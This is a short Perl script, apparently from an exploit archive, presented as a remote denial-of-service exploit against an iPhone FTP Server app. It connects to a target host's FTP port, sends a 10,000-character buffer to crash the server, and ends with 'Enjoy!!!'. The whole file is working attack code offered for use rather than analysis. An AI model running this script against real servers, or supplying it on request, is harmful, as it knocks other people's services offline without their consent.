#!/usr/bin/perl
#
# Exploit: iPhone FTP Server By Zhang Boyang - Remote Dos Exploit
# Version: 1.0
# Software Link:
http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8# Tested on: Iphone 3GS with 3.1.2 firmware
use IO::Socket;
if (@ARGV<1){
print ("Usage: ./iPhoneFtp <ServerIP>\n");
exit();
}
my $host = $ARGV[0];
my $port = 21;
my $buff = "A" * 10000;
my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port);
unless ($socket) { die "Unable to connect to $host" }
print "Connected to FTP Server\n";
sleep(2);
print "Sending Long Buffer..\n";
sleep(2);
print $socket $buff;
sleep(2);
print "FTP server should be crashed by now..Enjoy!!!\n";